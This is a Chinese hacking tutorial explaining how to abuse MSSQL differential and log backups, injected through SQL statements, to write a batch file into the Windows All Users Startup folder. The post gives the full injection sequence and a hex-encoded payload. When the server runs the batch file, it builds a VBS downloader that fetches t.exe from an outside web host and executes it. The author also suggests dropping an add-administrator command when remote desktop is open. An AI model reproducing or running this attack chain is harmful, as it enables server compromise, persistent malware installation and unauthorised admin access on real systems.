MSSQL差异备份获取webshell几乎人人皆知,那么我们可以利用差异备份出来的文件当作恶意代码
让系统执行了之后自动提升权限或者添加管理员吗?答案当然可以了,kj021320测试了N次之后跟你说!
那么我们得考虑文件摆放的位置~什么地方系统会运行呢?这个其实算是废话吧!
大家不用想都知道通用地方C:DocumentsandSettingsAllUsers「开始」菜单程序启动
呵呵位置有了!那么我们备份什么文件让系统能执行的呢?
这个是第一个关键点~!
EXEJSVBSBAT这些文件大家第一时间想到的了
那些我一个一个来分析exe的话!绝对能了!但是MSSQL差异备份这么多垃圾肯定会把exe弄坏的!
否决掉
然后到脚本
VBS我们能不能把他的垃圾信息注释掉呢?不然VBS会执行不了!OK学过VBS的朋友都知道
VBS里面有2种注释'还有就是rem
但是还是会有垃圾信息屏蔽不了
否决掉
JS呢?JS里面有多行注释的/**/但是/*不可能在首行吧?
否决掉
最后剩下我们最熟悉的bat批处理了!
OK我们继续分析bat里面注释是什么呢?也是REM,失败啊!之前vbs那里不行这里的rem注释也一样不行的!
那么我们怎么办呢?其实很简单!当我们在CMD下面敲错了命令系统会怎样呢?
说到这里要是大家不往文章下面看也一样能想到方法了吧~
OK我们继续探~~这里是最最关键点,差异备份出来的垃圾信息我们可以通过用回车把他提交了!
而系统只当作无用的命令来处理!不影响我们的操作!
问题就这样解决了吗?不是的!~MSSQL备份的时候,到一定的字符长度就会出现垃圾的字符,那个字符会影响我们的操作!
那么我们得把语句尽量缩少,越少越好~
OK那我们思路好了就采用bat写一个VBS的下载者然后执行这个下载者最后通过下载者down回来的马子来获取系统权限
下面是我改过的生成下载者的BAT
echoSetP=createObject("Microsoft.XMLHTTP")>k.vbs
echoP.Open"GET","http://www.isto.cn/t.exe",0>>k.vbs
echoP.Send():setG=createObject("ADODB.Stream")>>k.vbs
echoG.Mode=3:G.Type=1:G.Open()>>k.vbs
echoG.WriteP.ResponseBody:G.SaveToFile"t.exe",2>>k.vbs
k.vbs
t
下一个k.VBS然后k.vbs下载一个t.exe文件保存到本地直接执行
记得记得我说过的代码前面一定要用回车把垃圾数据提交最好2以上个回车
然后实现差异备份
alterdatabaseISTOsetRECOVERYFULL--
createtablecmd(aimage)--
backuplogISTOtodisk='c:cmd1'withinit--
insertintocmd(a)values(0x130A0D0A6563686F2053657420503D6372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293E6B2E7662730D0A6563686F20502E4F70656E2022474554222C22687474703A2F2F7777772E6973746F2E636E2F742E657865222C30203E3E6B2E7662730D0A6563686F20502E53656E6428293A73657420473D6372656174654F626A656374282241444F44422E53747265616D22293E3E6B2E7662730D0A6563686F20472E4D6F64653D333A472E547970653D313A472E4F70656E2829203E3E6B2E76627320200D0A6563686F20472E577269746520502E526573706F6E7365426F64793A472E53617665546F46696C652022742E657865222C32203E3E6B2E7662730D0A6B2E7662730D0A740D0A)--
backuplogISTOtodisk='C:DocumentsandSettingsAllUsers「开始」菜单程序启动1.bat'--
droptablecmd--
OKbat出来了!至于怎样让服务器重启呢!这个问题遗留给你们去讨论吧!
要是服务器直接开启了3389那就更方便了!直接bat一个添加管理员的命令更爽!